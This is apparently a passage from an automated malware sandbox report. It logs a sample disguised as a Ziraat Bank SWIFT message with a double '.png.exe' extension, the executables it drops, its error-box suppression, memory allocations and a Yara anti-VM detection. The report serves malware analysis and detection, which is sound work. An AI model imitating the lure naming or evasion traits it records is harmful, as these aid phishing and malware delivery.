              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeProcess information set: NOOPENFILEERRORBOX

              Malware Analysis System Evasion

              barindex
              Yara detected AntiVM3
              Source: Yara matchFile source: Process Memory Space: Ziraat_Bankasi_Swift_Messaji.png.exe PID: 2344, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: BZTCUCKTKd.exe PID: 7576, type: MEMORYSTR
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeMemory allocated: 1120000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeMemory allocated: 2AB0000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeMemory allocated: 4AB0000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeMemory allocated: 8FB0000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeMemory allocated: 9FB0000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeMemory allocated: A1C0000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\Desktop\Ziraat_Bankasi_Swift_Messaji.png.exeMemory allocated: B1C0000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeMemory allocated: 2000000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeMemory allocated: 25D0000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeMemory allocated: 2180000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeMemory allocated: 2210000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeMemory allocated: 2450000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeMemory allocated: 4450000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeMemory allocated: 10F0000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeMemory allocated: 2C70000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeMemory allocated: 10F0000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeMemory allocated: 86F0000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeMemory allocated: 6F60000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeMemory allocated: 96F0000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Roaming\BZTCUCKTKd.exeMemory allocated: A6F0000 memory reserve | memory write watch
